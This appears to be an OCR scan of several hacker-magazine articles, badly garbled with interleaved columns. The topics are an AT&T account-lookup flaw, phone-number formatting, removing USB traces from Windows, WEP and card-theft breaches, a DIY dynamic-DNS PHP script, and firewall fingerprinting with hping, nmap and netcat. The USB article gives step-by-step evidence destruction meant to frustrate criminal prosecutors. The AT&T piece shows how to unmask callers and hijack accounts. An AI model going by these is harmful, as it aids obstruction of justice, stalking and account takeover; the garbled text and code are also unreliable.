"Get Sta rted" l i n k  for new user reg i strat ion. 
The next page w i l l  ask for "you r"ce l l  phone 
n u m ber. Put in the AT& T ce l l  n u mber that you 
wou ld  l i ke a l i tt l e  more i nfo on, a n d  one of a 
few th i ngs w i l l  happen:  

3 .  Or, i f  the subscr iber has  yet to regi ster, 
you w i l l  be d i rected to a s ign-up page. 
In many cases, th i s  w i l l  i nc l ude one 
or more of the ema i l  addresses that 
the subscr iber provi ded when he  or 
she began to contract with AT&T. 

Obvious ly, th i s  i s  poor hand l i ng of 
customer i nformat ion .  How m a ny peop le 
do you know with an  ema i l  address 

in the format firstname_lastname 1 2 3  

- @ p r ov i der . com? I t  turns out that th i s  was 
the case with the n u mber in quest ion.  I now 
knew that my f iance's former coworker had 
ca l led her, wonder ing how she was do i ng. I 
removed my t i nfo i l  h at. 

Add it iona l ly (and th i s  is where t h i ngs can 
get rea l ly fu n), one on ly  needs the last  fou r  
d ig its o f  t h e  subscr iber's soc i a l  secur i ty n u mber 
to comp l ete the reg i strat ion process a n d  be 
able to check the subscr i ber's ma i l , change 
the i r  vo icema i l  password, or order add i t iona l  
c rap  from AT&T to  be  charged on thei r b i l l . 
Wh i le I don't know where one wou l d  be ab le  
to  acq u i re someone's SSN with o n l y  a n ame, 
address, and phone n u mber, I 'm s u re that at 
least one of you readers out there can lead the 
way. We're hackers, r ight? 

Wel l ,  that's about i t  for now. I f  a nyon e  e l se 
has i nfo regard i ng other w i re less p rov i ders' 
webs i tes, fee l free to submit  i t  to 2600, or 
maybe j ust bang you r  head aga i nst the wa l l s 
of corporate pol i cy i n  an attempt to tel l them 
fi rst. 

1 .  I f  the phone n u m ber i n  quest ion i s  
one o f  AT&T's prepa i d  "GoPhone" 
n u m bers, you w i l l  get a page with 
another l i n k  and i n struct ions to log i n  
through the GoPhone porta l .  

2 .  I f  t h e  subscr iber h a s  a l ready regi stered Shout outs :  Robert Anton Wilson, LSD, 

the i r  phone with the s i te, you w i l l  Dr. Grof. And, remember, Barack Obama is 
s i m p l y  get a message to that effect. the only candidate to support Net Neutrality. 
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l(lkroql-�o(lql ��ql�(l� 
by The Cheshi re Catalyst 

cheshi re@2600.com 

When putt i n g  overseas te lephone 
n u mbers or  U S  n u m bers you p lan to 
ca l l  from overseas i nto the contact l i st or  
the add ress book of you r  mob i l e  phone, 
p l ease put  the p l u s  s ign ,  "+" , in front of 
the cou ntry code, rather than the US ex i t  
code of "0 1 1 ." 

The "+" s ign  te l l s  you r  phone to use the 
exit  code of the cou n try you ' re i n .  Wh i le 
i n  the U SA, th i s  wi l l  be "0 1 1 ," but i n  
E u rope a n d  other parts o f  the world,  i t  w i l l  
be "00." The phone w i l l  check the cu rrent 
network, and i n sert the appropr i ate ex i t  
code.  I f  a n  exit  code i s  not req u i red 
because you ' re i ns ide the cou ntry i n  q u es­
tion, the ca l l  w i l l  go through as wel l .  

When a fr iend of m i ne rented a phone 
o n  a recent t r ip  to C h i na,  I sent h i m  a text 
message. H i s  rep l y  came from "0 1 1 86" 
p l u s  h i s  local  n u m ber. My message to 
h i m  came from "00 1 N PA N X X  XXXX" . 
I n  other words, each network showed the 
u ser the Exit Code req u i red to reach the 
other pa rty from the network they were 
i n .  The "+" s ign  does the same job but 
does n ' t  need to be cha nged when you 
c ross borders . 

a l l  had d i fferent req u i rements for how 
someone accessed I nternati o n a l  D i rect 
D i a l i ng .  What was d i a l ed was l eft to each 
nat iona l  agency, but h ow to represent it 
was deci ded upon by the ITU . 

Th i s  works pretty wel l ,  u n t i l  you f ind 
that  in  B r i ta i n ,  they d ia l  "0" for a long 
d i stance ca l l  and "00" for a n  i nternat iona l  
ca l l .  The prob lem was represent ing both 
schemes. So the zero in parenthes i s  was 
estab l i shed . A London n u m ber wou l d  be 
represented as +44 (0) 845 5 5 5  2 3 68, 
where the (0) wou l d  o n l y  be u sed with i n  
G reat B r i ta i n ,  a n d  d ropped i f  d i a l ed from 
outs i d e  the country. 

Th i s  confl icts a b i t  with the American 
method of p l a c i n g  the N PA ( N u mberi ng 
Plan Area, better known as a n  a rea code) 
in parenthes i s .  The N PA w h i c h  does n ' t  get 
d i a led if  you a re with i n  i ts geogra p h i c a l  
a rea . T h e  other prob lem th at c a m e  about, 
of cou rse, was over lay i ng two or more 
N PAs with i n  a s i ng le  geogra p h i c a l  a rea.  

So, o u r  Br it ish fr iend shou l d  be 
progra m med in you r  phone as :  +44 845 
5 5 5  2 3 68, and our Amer ican fr iends 
shou l d  be program med as + 1  3 1 1 5 5 5  
2 3 68 

You can put  you r  phone n u mbers i nto 
you r  mob i le  phone with or w i thout the 
dash characters.  Some phones put  them 
in for you,  but the ITU standard i s  to use 
spaces. 

The Cheshire Ca talyst (Richard 
Cheshire) is the former publisher of the 
notorious TA P Newsletter of the 7 9705 
and 80s. He has also a ttended and volun­
teered at every HOPE Conference we ' ve 
ever held. 

Th i s  use of the p l u s  s ign  sta rted back 
in the 1 9 70s, when i nternat iona l  b u s i ­
nessmen went to p r i n t the i r  phone n u mbers 
on the i r  bus i ness cards. The I nternati ona l  
Te l eco m m u n i cati ons  U n ion,  a n  agency 
of the U n ited Nat ions,  p u b l i s hed a sta n ­
dard for how p h o n e  n u mbers were t o  be 
represented . They rea l i zed that the PTTs 
( post, Te lephone a n d  Te l egraph)  agenc ies 
of member states where governments 
ra n the te l ecom agencies a n d  the R POAs 
( Recog n i zed Pr ivate Operat i n g  Agenc ies)  
where pr ivate compa n ies ra n the works Shout out: The mAltman. 
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by briatych 

Disclaimer: The information provided in this 
article is provided for educational purposes only; 
please do not use this information for illegitimate 
exploits. This article will show you how to eliminate 
USB traces for Windows 2000 and Windows XP 
machines. 

During criminal investigations, forensic 
examiners commonly analyze USB activities. In 
fact, this sort of analysis is proba bly one of the 
very first procedures an investigator will perform 
during an investigation. W hen a USB removable 
device is connected to a system, information 
about that device is left in log files and in 
Windows registry entries, making very it easy for 
investigators, with or without forensic softwa re, 
to identify USB devices such as flash drives, hard 
drives, iPods, and other electronic devices and 
for them to trace USB activity. When a device is 
connected, the Windows PnP manager queries the 
device's firmware and records the manufacturer 
information into the registry. This is done in order 
to locate the proper device driver. This process 
creates several artifacts which the forensic 
examiner can later discover. First, the as records 
this information in the s e t u p ap i . l og located 
in the operating system's default installation 
directory; i .e . ,  C :  \ W I NNT \ s e t up a p i  . l o g  

on Windows 2 000 and c :  \ W i ndows \ s e tu 

-pap i . l o g  on Windows XP. Second, the as 
will create a registry entry under the HKEY_ 

- L O C A L _MA C H I N E \ S Y S T E M \ C u r r e n t C o n  

- t r o l S e t  \ Enum \ U S B S TOR key. 
In addition, event log entries a re recorded in 

the Event Viewer. For Windows 2 000 machines, 
event IDs 1 34, 1 3 5 ,  and 1 60 a re associated 
with USB removable devices. Event 1 0  1 34 is 
recorded when a USB device is connected to 
the computer, Event 1 0  1 3 5 is recorded when a 
USB device is disconnected from the computer, 
and Event 1 0  1 60 is recorded when a USB device 
is disconnected from the computer using the 
Unplug or Eject Hardware feature. Additionally, 
some system ( .  s y s ) ,  dynamic link library ( . d l l ) ,  

and executa ble ( . e x e )  files a re also accessed, 
leaving remnants of USB activity th roughout the 
system. 

From time to time, and for legitimate security 
reasons, a user may need to eliminate USB traces 
from a computer system. If you find yourself in 
this situation, the best way to go a bout doing this 
is described as follows: 

1 .  Open up Windows Event Viewer. Right  click 
on the System Log and select "Clear All Events." 
Since you are already there, you might  as well 
clear out the Application and Security Logs. 

2. Locate the s e t u p ap i . l o g  file . Make 
sure not to delete this file; deleting this file may 
allow the forensic examiner to recover it. The best 
approach is to open the file using a text editor 
such as notepad, delete the information within 
the file by selecting its entire content of the file 
and deleting it, and then save the file .  

3.  Next, open the Windows registry editor. 
Navigate to the C u r r e n  t C o n  t r o l  S e t  \ Enum 

and delete the U S B STOR registry key. Do the 
same for all ControlSets ( C u r r e n t C on t r o l S e t ,  

C on t r o l S e t O O l ,  C o n t r o l S e t 0 0 2 ,  and so on) . 
Do not delete any other registry key, as this would 
make it obvious that someone was tampering 
with the registry. I f  you delete only the U S B STOR 

key, an examiner may instead assume that  no USB 
device was connected to the system. 

4. W hile still in the Windows registry, delete 
the registry key la beled "Mounted Devices." 
However, make sure to restart the computer 
afterwa rds. This will cause the system to recreate 
a new mounted device list; otherwise, this could 
raise a flag to the investigator as well. 

5. Last, try running a full system virus scan, 
as this program will update all files' last access 
date. This will eliminate the issue with the last 
accessed dates of specific files such as "usbstor. 
sys" and "hotplug.dll" which a re analyzed during 
criminal investigations. 

It is important to point out that  there a re 
further remnants left th roughout the system; 
however, these are not well-known to the 
average examiners, and proba bly not even to 
advanced examiners. You can go the extra mile 
by deleting the content of the d l l c a c h e  and 
p r e f e t c h folders, and then running a full system 
maintenance routine: delete temporary files, run 
a disk defragmenter, and so on. With the above 
procedures you can make it very difficult for a 
prosecutor to substantiate a case based on forensic 
evidence of USB activity. In criminal cases, 
prosecutors can a rgue spol iation of evidence if 
they can show withholding, hiding, or destruction 
of evidence relevant to a legal proceeding. This is 
easy to argue if someone destroys or wipes a hard 
drive; however, it's more difficult for prosecutors 
to make such a showing when a routine cleaning 
and maintenance was performed in order to 
improve system performance. 
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Wi re l ess v u l nera b i l i t ies a re n 't dead.  We J ust how wea k is W E P ?  With modern 
j ust stopped watc h i ng .  attacks (a i rcrack-ptw) and a s i ng le  assoc iated 

I ' m  s u re we a l l  thought  we were done c l ient  (needed to get  an ARP frame), a WEP 
wi th  th is  one - c a n  there rea l ly be much more key c a n  be cracked i n  about  two m i n utes 
to be s a i d  about  open w i re l ess networks? (rega rd l ess of 64 or  1 2 8 b i t W E P) .  By  captu r i n g  
H aven 't w e  r i d d e n  t h a t  one off i nto the s u n set a n d  re- i nj ecti ng  an A R P  fram e  thousands  of 
once and for a l l ?  Appa rent ly  not, s i nce w h i l e  

t i mes, co l l ect i n g  enough encrypted data to 
we were a l l  recover ing  from H O P E  (or go i n g  

der ive the k e y  becomes tr iv i a l .  Other attacks 
to Defcon), a c red i t  ca rd theft r ing l everagi n g  
v u l nera b l e  w i re l ess networks w a s  b u sted i mp lemented in the a i rc rack-ng s u i te expose 

for stea l i ng tens  of m i l l ions  of c red i t  ca rd other f laws i n  the W E P  protoco l ,  render i ng  

n u m bers a long  with  c u stomer i nformati o n .  near l y  a n y  network us ing  W E P  for protect i on 

E l even members of a n  i nternat iona l  v u l nera b l e .  Th i s  m ight  not b e  a b i g  dea l for a 

c red i t  c a rd r i n g  were c h a rged i n  Boston with  home u ser  - genera l l y noth i n g  you 're d o i n g  

stea l i ng over 41  m i l l ion  c red i t  c a rd n u m bers i s  l i ke l y  to be i nterest i n g  enough to be worth 
from major  u . s .  reta i lers l i ke B oston M a rket, c ra ck i n g  W E P  a n d  it 's eas ier  to move on to 
B a rnes a n d  Nob le, DSW, a n d  the h i g h l y  a n  open network  i f  a l l  you 're l o o k i n g  for i s  
p u b l i c i zed TJ M a x x .  Sou nd fam i l i a r ?  Th i s  i s  I nternet a ccess t o  c h e c k  e ma i l .  F o r  a corpora­
bas ica l l y the same as  the attack on  Lowes t ion  h a nd l i ng perso n a l  i n fo a n d  c red i t  c a rds,  
H a rdwa re, where th ree men p l ed g u i lty s i m p l e  WEP i s  h uge l y  i nsuff ic ient .  
to i n sta l l i n g  s n i ffer software v ia  the w i re-

W h i l e  W E P  has been the bas i s  for a l l  of 
l ess network to capt u re c red i t  c a rd d ata . 
R b th t tt k' N t I I ' M b 

these attacks,  none of them h ave tru l y  re l ied 
emem er  a a a c ! 0 rea y! ay e 

beca se ·t h appened 'a e rs ago Seems on  the w i re less network; the l io n 's s h a re u I /I ur y a . 
l i ke a lot  of peop le  forgot about  i t .  What  m a kes of the b l a m e  fa l l s  on  an apparent ly  wide  

the l a test a ttack u n iq u e  i s  that, u n l i ke the  open network des ign i ns ide  the reta i l ers .  

a ttem pt at  Lowes, th is  was both s uccessfu l at  Com b i n i ng the weak ness of WEP wi th  a 

captu r i n g  c red i t  ca rd i nformat ion ,  a n d  i n ter- poor i nterna l  network  des ign w i l l  ra re l y  end  

nat iona l l y orga n i zed, send i n g  the c red i t  c a rd wel l .  Som e  h a n d h e l d  i n ve ntory devices c a n  
i nformat ion overseas t o  servers i n  U kra i ne, o n l y  speak W E P, not h av i n g  the computa-
C h i na ,  and Latv i a .  t i o n a  I power t o  s u pport stronger  encrypt ion  

H ow does  t h i s  keep happen i ng?  Probab l y  methods.  B u t  u nt i l these a re p hased out,  i t 's 
the u s u a l :  a combi nat ion of no (or obv i o u s l y  c r i ti c a l  that  the w i re l ess network  i s  treated 
i ns u ff ic i ent) n etwork  secu r i ty, a n d  i n su f- as a host i l e, exter n a l  network .  There shou l d  
fic ient  segregat ion  o f  t h e  i nter n a l  network .  

be no  reason for a w i re l ess u ser  to d i rect ly 
Forget "cru nchy on  the outs ide, chewy in the 

i n terface wi th  the network  h o l d i n g  the poi nt­
center." We're look ing  at  sponge- l i ke poros i ty 
of the n etwork  per i m eter. Both the Lowes of-sa l e  systems  for c red i t  c a rd process i ng .  

a ttack a n d  these recent ones re l ied not on ly  B u t  i n  a l l  of these c ases, the rea l work  was  

o n  a weak outer  l ayer of secu ri ty, b u t  on  an  done by a s n i ffer i nsta l led  on  the compan ies'  

u n structu red i nterna l  network  w here w i re l ess system s  h a nd l i ng c red i t  c a rd data .  The w i re-

u sers a re a l l owed access to the  poi n t-of-sa l e  l ess n etwork  w a s  u sed o n l y  a s  a j u mp i ng-off 

network .  poi n t  for i n fect i n g  the rest of the n etwork .  
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Of cou rse, we can 't l ay a l l  of the b l a m e  o n  
the compromi sed com p a n ies . . .  t h e  P C I  DSS 
(payment  C a rd I n d u stry D ata Storage Sta n­
d a rd)  recom mends aga i nst u s i n g  W E P, but 
a l l ows i t  i f  a d d i t i o n a l  secu rity mech a n i s m s  
a re i n  p l ace - or  i f  i t  i s  1 04 b i t  W E P  wi th  a 
2 4  b i t  IV (a ka good o l d  fas h i o ned W E P  l i ke 
we've a l ready broken) ,  MAC address fi l te r i n g  
(rea l l y ? ) ,  a n d  rotat i ng W E P  keys q u a rter l y  
(th at's 1 70 days versu s  about  two m i n u tes 
to crack the new key). A com p a n y  fo l l ow i ng 
these gu i de l i nes to the letter can st i l l  be 
mass ive ly  exposed. 

It 's tem pti ng  to d i s m i ss a l l  of t h i s  as  corpo­
rate level cr i me with no  i mpact on  any of us. 
Su re, there's the obv ious  u pfront costs - re is­
s u i ng a n d  rep l ac ing  the cred i t  cards ,  dea l i ng 
wi th  the fra u d u lent  items on the b i l l s, i tems 
being ordered to new add resses tr i p p i n g  
a l a rms  - a n d  I 'd be d o n e  wr i t i ng about  t h i s  
r i g h t  there, except for two k e y  poi nts t h a t  a re 
( l a rge ly )  over loo ked: 

F i rst: Most reta i l ers offer the i r own 
bra nded cred i t  ca rds, and del ight in try i n g  to 
get you to sign up for them when you m a ke a 
p u rchase. At the poi nt-of-sa le  term i na l .  With 
i nstant cred i t  check i n g  a n d  va l i d at ion .  The 
i nformat ion u sed to s ign u p  for the card has 
to be tra n s m i tted to the cred i t  card com p a ny 
somehow. W h i l e  none of the a rt ic les ment ion 
what "perso n a l  i nformat ion" beyond cred i t  
card n u m bers was com p rom ised, i t  wou l d  
seem perfectl y  p l a u s i b l e  t h a t  enough i nfor­
mat ion to a p p l y  for new cards at a d i fferent 
address was gathered. Most peop l e  read i ng 
2600 ought  to be savvy enough not to expose 

the i r  perso n a l  i nformat ion casu a l l y. P h i s h i n g  
attacks a re pretty transparent, a n d  ident i ty­
stea l i ng troj a n s  a re fa i r l y  easy to avo i d .  B u t  
when t h e  com p a n y  i s su i n g  t h e  cred i t  card 
ca n 't be trusted to secu re the i nformat ion,  the 
ga me cha n ges s i g n i fi ca n t l y. 

Second:  "What  is you r  favorite co lor ? "  
"What  school  d id  you gra d uate fro m ? "  
"What i s  you r  home tow n ? "  Sou nd fa m i l i a r? 
Sou nd l i ke the sort of q u esti o n s  a sked when 
cha ngi ng the b i l l i ng address on  a cred i t  
card ? Sou nds  a l ot l i ke what  m ost peo p l e  
don't th i n k  tw i ce about  p u tt i n g  o n  a soci a l  
network i n g  s i te (rhymes with  " P i e  Face") ,  
too.  The t h i eves who stea l  cred i t  card data 
in b u l k  wou l d  never bother to ident i fy i nd i ­
v i d u a l s. T h e  fi n a l  consu mers o f  t h e  sto l e n  
cred i t  c a r d  n u m bers a re n o w  i n  possess i o n  o f  
the acco u nt n u m ber, exp i rat ion deta i ls ,  fu l l  
n ame, a n d ,  i f  you h ave a n  o n l i ne p resence 
with  a n y  ident i fi a b l e  i nformat ion,  potent i a l l y  
enough d ata t o  cha n ge you r  b i l l i ng a n d  sh i p­
p i n g  addresses wi thout  you r  knowl edge. 

A b r i ef search t h rough soci a l  n etwo r k i n g  
s i tes showed n o  shortage o f  m e n t i o n s  of home 
towns, h igh schoo l s, favorite col o rs (e i ther 
exp l ic i t ly  or  guessed v ia  the genera l theme 
of the page), favor i te bands  - a l l  of wh ich,  
com b i ned with sto len  cred i t  ca rd deta i l s ,  
cou l d  be suffic ient  for com p l ex fra ud .  

So  p lease: Stop u s i ng W E P. N ow. Let  i t  
d ie. A n d  des ign  you r  networks so that  they  
h ave more t h a n  one l ayer of  secu r i ty. 



< ? php 

e c ho " Be Your Own DDNS S e rvi c e  Us i ng PHP " ; 

by glider 

The Problem 
You want to set up a darknet for a few 

friends, and so you need to be able to give 
them a static I P  address. Of cou rse, you r  ISP 
switches you r  I nternet-accessib le  IP add ress 
rando m l y  and gives you a relatively use less 
dynamic I P. Yes, you can find a Dynamic DNS 
service that a l lows you to u pdate a domain 
name as often as you r  ISP changes you r  I P, but 
either I picked a bad D DNS service or a lot 
of peopl e  have the same problem: more often 
than not, the domain na me I had been given 
wou l d  timeout, l eaving my friends discon­
nected. That ' s  when I cobb led together a 
quick persona l D DNS service, u sing l ess than 
50 l ines of code, most of  which a re PHP. 

The I ngredients 
To m a ke this work, you ' l l  need you r  own 

doma i n  or  web page with FTP access and 
P H P. You a l so need the  a bi l ity to r u n  P H P 
on you r h o m e  m a c h ine. Fina l l y, you need 
a com m and- l ine FTP uti l ity on you r  h o m e  
m a c h i ne, s u c h  a s  the  o n e  inc l u ded with 
Windows X P. I set my service u p  u nder 
W indows X P, r unning P H P  u nder X A M P P  
(xilmpp . o rg ) . 

Getting Your  I P  
This is the whole code of the PHP page 

you ' l l  p lace somewhere on you r  domain, to 
sniff you r  I P : 

$ u r l  = .. h t tp : / /www . yo u r - doma i n . c o m /  

" i p . php " : 

I I  t h i s  i s  t h e  page on t h e  web t h a t  

- r e t u r n s  y o u r  I P  

$ f n  = " C : \ i p . tx t " :  

I I  t h i s  i s  t h e  fi l e  t h a t you ' l l 

'-wr i t e  your I P  t o  

$ cmd = " f t p  - s : E : \ ipup . tx t " : 

I I  t h i s  i s  t h e  c ommand - l i n e  

"c a l l  t o  t h e  F T P  p r o g r am 

e c h o  " Ge t t i ng I P  f rom $ u r l  . . .  \ n " : 

I I  open t h e  web page and nab t h e  I P  

$ fp = f open ( $url, " r " ) o r  d i e : 
$ da t a  = f r e a d ( $ f p , 4 0 9 6 ) : 

f c l o s e ( $ fp )  : 

I I  wr i t e  t h e  I P  to t h e  fi l e  f o r  up l oad 

$ f new = fopen ( $ f n ,  " w + " )  o r  d i e : 

? >  

e c h o  " Wr i t i ng $ da t a  to l o c a l  fi l e  . . .  \ n " : 

i f  ( i s_wr i t a b l e ( $ fn ) ) { 
i f  ( ! $hand l e = f o p e n ( $ fn ,  ' wb ' ) )  ( 

.. e x i t :  

i f  ( fw ri t e ( $hand l e , 

$ da t a ) = = =  FALS E )  { 

... ex i t ;  

f c l o s e ( $ h a n d l e )  : 

e c h o  " FT P - i n g  $ da t a  t o  

you r - doma i n  . . . \ n " ; 

s h e l l_exec ( $ cmd ) : 

I I  t h i s execu t e s  t h e  F T P  c ommand tha t 

" up l oads t h e  fi l e  you j u s t  wro t e  

Updating Your  I P: The F T P  Call 
$ i p  = $ HTTP_SERVER_VAR S  [ " REMOTE_ADDR " 1 : 

echo S i p :  
This part may be different for some people. 

If you hit that page using a web browser, 
you ' l l  get you r  cu rrent I nternet-accessib le  I P  
a s  the resu It .  

This is the code in a text fil e  that tel l s  the FTP 
util ity what to do. This fi l e  is ca l l ed i pu p . 

t x t  in the $ cmd variab le  above. The l ines that 
sta rt with " qu o t e "  are commands to you r  FTP 

Sharing Your  I P  server once you ' re connected. To find the 

This is  the main bit of  coding; it ' s  a l so in exact wording, I u sed the FireFTP p l u gin for 

PHP. I n  a nutshel l ,  the sc ript goes out to you r  Firefox, copied a fi l e  over to my domain, and 
page on the web, which retu rns you r  cur rent took the commands from its log. 
I P. I chose to output this to a fi l e  on my home open www . yo u r - d oma i. n . c om 

machine, then upload the fi l e, which contains u s e r - name 

nothing but my I P, to my web server. I cou ld  p a s sword 

qu o t e  CWD / y ou r - doma i n . c om / n ew - d i r e c t o r y  
have written the code on my server to log my 

quo t e  TYPE A 
I P  when I hit the page, but the danger there is quo t e  PASV 
that some web robot, spider, or casua l  su rfer pu t c :  \ i p . t x t  

might trip the page, writing the wrong I P  c l o s e  

address t o  the fil e. Anyway, here ' s  t h e  magic: qu i t 
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The CWD command is just to change the 
d i rectory once connected, so that my IP f i le 
gets saved somewhere other than the root 
d i rectory of my dom a i n .  

Updating Your  I P: The Service 
So fa r, so easy. The problem i s  that you ' d  

have to ca l l  the m a i n  P H P  scr ipt every t ime 
you  want to  update you r  I P. I n stead, you  can  
sched u l e  i t  as  a Sched u led Task i n  W i n dows to 
ru n all day, every day, every 15 m i n utes. I t ' s  as  
s i mple as wri t i n g  a one-li ne batch fi le: 

c :  \ xampp \ php \ php . E-:XP c :  \ s end i p . php 

You then schedu l e  the task to run that 
"program"  every 15 m i n utes. 

The only problem is m a k i ng the task  run  
i nv i s i bly wi thout  h av i ng to  go i n  and  ed i t  the  
Regi stry to  set i t  u p  as  a bona-fide serv i ce. The 
way i t ' s  set u p  now, the task  will run ,  but a 
she l l  wi ndow wil l  pop up every t ime it does 
so. I t ' s  only there for a few seconds, but i t ' s  
rea l ly a n noy i ng every 1 5  m i n utes. To m a ke i t  
ru n i nv i s i bly, you need to  run i t  u s i ng wscr ipt, 
the W i ndows scr ipt i n g  language. Wr i te t h i s  
i nto a . vb " fi l e: 
C r e a t eObj e c L ( " W .'::; C I" .i p L . S hc l l " )  . R un &_ 
� W S c y i p L . A r gumcn t s ( O )  & I I  " I I " ,  0 ,  t'a l s e  

Then,  change you r  schf�duled task t o  call 
you r  scr ipt l i ke t h i s .  The o n l y  da nger is that 
i f  you don ' t  test you r  scr ipt fi rst and  i t  fa i l s, 
you ' l l  never know about the fa i lu re. 
c :  \ W I NDOv..1S \  :::; y s  L em 3 7  \ \A! ;; c r i p t . cxc' " c :  \ 

- i n v i s i b l c . vlx_o " " C : \ �; e n d i p . bd t " 

You r  sc r ipt w i ll now run  i nv i s i bly every 
f ifteen m i n utes, u ploa d i ng you r  cu rrent I P  
address to you r  webs i te a s  a text f ile. You can  

e i ther  tell you r  fr iends to  h i t  that f i l e  to  get 
you r  c u rrent I P  address, or you can  work i t  
i nto a qu ick  a n d  easy  P H P  page that tells them 
the IP  a n d  also when the fi le was  l ast u pdated. 
H e l l ,  th row t h i s  on the page, too, a n d  i t ' l l  p ing  
you r  IP  so  they know i f  the con nect ion i s  sti ll 
good : 
S [p � @ i s o c kopcn ( $ addy , S p o r t , 

$ c rrno , $ e ry �_; t r ,  $ t impou L )  j 
/ / $ acldy i s  your c u r ren t. TP I $;P01: t 

- i s t h e  p o r t  y o u r  c l i ell t i �; ll s l nq ,  

I I  $ t i m e o u t i f; how l ong L o  

"wa i t  ( 2  i �_;  dandy ) 

i f  ( $ fp )  { 

echo " C onnec t i on g o od ! " 

@ f c l o s R ( $ fp ) ; 

} e lc ; e { 
echo " Connc'c t i on down . " 

Caveats 
So, that's i t! 48 l i nes of code over 5 fi les, by 

my cou nt; that ' s  with n i cely-spaced P H P, and  
i t  i n cludes the sched uled task  call as  a l i ne  of 
code. I d i d n ' t  count  the p ing  code, s i nce i t's 
not necessary. Who needs to g ive a th i rd-party 
serv i n' any  i dea what you ' re up to or a D DNS 
updater app ru n n i ng i n  the background?  But  
there a re some caveats . . .  

The FTP con nect ion i s  not secu re, so you ' re 
broadcast i n g  you r  u nencrypted FTP username 
and password every 15 m i n utes. Al so, i f  you r 
web host i s  st i ngy, they m i ght l i m i t  the n u mber 
of FTP con nections you can m a ke in J day. 
And, fi n a l l y, you ' re putt i ng you r  cu rrent I I'  
add ress o n  the wpb. Weigh the odds, draw 
you r  own conclus ions, and  tweak the f ix.  

D iscove ri ng  
Fi rewa l ls 

by suN 8 Hclf 
suN 8 H clf@lvp.pl 

OxOO I ntroduction 
Sett ing  up a fi rewall is one of the most 

i m portant a n d  bas i c  elements of a secu r i ty 
po l i cy. They a re u sed used to prevent u n a u ­
thor ized users from access i ng protected 
computers il n d  networks. Bas i c a l ly, fi rewa l ls 
can be d i v i ded i nto two groups: ha rdwa re 
f i rewa lls and softwa re ones. f; a rdwa re fi re­
walls a re often placpd on the route between 
a protected network a nd I nternet. Thei r task to 
a n :l I Y7e all network traffi c. Then, on the bJs i s  

of rules defi ned by system adm i n i strator, they 
dec i de what to do with every packet. These 
fi rewal ls  hdV!' also the i r  own IP add ress. Soft­
ware fi rewal ls  a n' just computer programs 
wh ich  mon itor other appl icat ions.  Such fi re­
wal l s  see if other progra ms wa nt, for eXJlllpll" 
to establ ish a new con nect ion,  and then 
dec ide whl'ther to allow them or not. Softwa re 
fi rewalls very often block i ncom i n g  con nec­
t ions  from the "outs ide" i n ternet. 
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I ' l l  now descr i be a few tech n i q ues wh ich  
can be used to  determine  i f  there i s  a fi rewa l l  
o n  the way to a ta rget a n d  then to d i scover the 
type and vers ion  of the fi rewa l l .  

OxOl Discovering Fi rewal ls  
There a re a few d i fferent methods you can 

use to see i f  there i s  a fi rewa l l  between you r  
computer and  some remote host. 

Basic trace route: The traceroute program 
traces the route to a host us i ng ICMP or U D P  
packets a n d  the TTL f ie ld i n  the I P header. Most 
fi rewa l l s b lock ICMP requests and responses. 
J ust type: 
# t r a c e r o u t e  W'WW . s e r v e r . c om 

3 .  r o u t e r l . ma i n . c om 

4 .  r o u t e r 2 . rna i n . c o m  

5 .  * * * 

As you can see, host 5 above has not sent 
us  a n  ICMP response. 50 t h i s  host m ight be a 
fi rewa l l .  

rcp traceroute: Now, we ' l l  try to deter­
m i ne the I P  address of the fi rewa l l .  To do th i s, 
we h ave to go through the fi rewa l l ,  wh ich  i s  
host 5 i n  o u r  case. Most o f  t h e m  a l low part ic­
u l a r  types of TCP traff ic; therefore, we can try 
to send a TC P packet to a "pop u l a r" port such 
as 80, w h i c h  i s  u sed for HTTP . .  
# hp i ng 2  - T  - t  1 - s  - p  

8 0  www . s e rv e r . com 

hop = 4  TTL 0 du r i n g t ra n s m i t f r om 

-' i p = 1 0 . 1 . 1 . 2 2 5  name = r o u t e r 2 . ma i n . c o m  

h op = 5  TTL 0 d u r i ng t r a n s m i t f r om 

-' i p = 1 0 . 2 . 2 . 2 2 5  name = UNKNOWN 

As you can  see, we were a b l e  to go 
through, a n d  we now know that the I P  address 
of the fi rewa l l  is 10.2.2.225 a n d  that its name 
i s  u n know n .  

TTL differences: The TTL f ie l d  i s  decre­
mented every t i me an I P  packet goes through 
a network dev i ce.  Therefore, we can  assume 
that i f  a server i s  p rotected by a fi rewa l l , every 
packet that comes from th i s  server w i l l  h ave a n  
TTL va l u e  d i fferent from packets wh ich  come 
d i rectl y  from the fi rewa l l .  To exa m i ne t h i s, we 
can send one TCP packet to a port wh ich  we 
know that i s  open and one packet to a c losed 
port. The fi rst packet w i l l  look l i ke t h i s :  
# hp i n g 2  - s  - p  8 0  - c  1 www . s e r ve r . c o m  

l en = 4 6  i p = 1 9 2 . 1 6 8 . 0 . 4  flag s = SA DF s eq = O  

-' t t l = 2 7  i d = O  w i n = 5 8 2 0  r t t = 9 . 2  m s  

The second packet wi l l  look l i ke th i s :  
# hp i ng 2  - s  - p  9 9 9 9  - c  

1 www . s e rv e r . c om 

l en = 4 6  i p = 1 9 2 . 1 6 8 . 0 . 4  fla g s = S A DF 

-' s e q = O  t t l = 2 8  i d = O w i n = O r t t = 9 . 2  m s  

The TTL va l ue i s  2 7  in the fi rst example  and 
28 in the second . Th i s  i s  the most i m portant 
ev i dence that www . s erve r . com i s  beh i n d  a 
ha rdwa re fi rewa l l .  

Ox02 I dentifying Fi rewal ls  
Now that we know the IP  address of  the 

fi rewa l l , we can t ry  to determ i ne the type and 
vers ion  of  the fi rewa l l .  

Simple banner grabbing: Th i s  i s  proba b l y  
t h e  best-known tech n i que .  J u st t e l  net t o  the 
fi rewa l l  and read a l l  messages that sends i n  
response. You c a n  a l so use netcat: 
# n c  � vv fir e wa l l . ma i n . c o m  

rcp footprinting: Every operat i ng system ' s  
I P  stack d i ffers i n  sma l l  ways from every other 
operat ing  syste m ' s .  The presence of softwa re 
fi rewa l l s  a l so changes the behav ior  of the I P  
stack i n  sma l l  ways. Know i ng these d i ffer­
ences can be a c l ue to determ i n e  the oper­
at ing system or type of the fi rewa l l .  There 
a re lots of programs wh ich  a re usefu l d u r i ng 
t h i s  process, such as n m a p, pDf, a n d  xprobe. 
When we know the IP address of the fi rewa l l  
o r  s i m p l y  the n a me of the server, we can use 
nmap to fi ngerpr i nt i t :  
# nmap - s S - 0  www . s e rv e r . c om 

# nmap - s S  -0 fi r ewa l l . ma i n . c o m  

Deafult  ports : Most fi rewa l l s use part ic­
u l a r  wel l -known ports for remote tasks such 
as remote adm i n i strat ion,  remote configu ra ­
t ion,  or remote l ogg i ng.  Here a re some defa u l t  
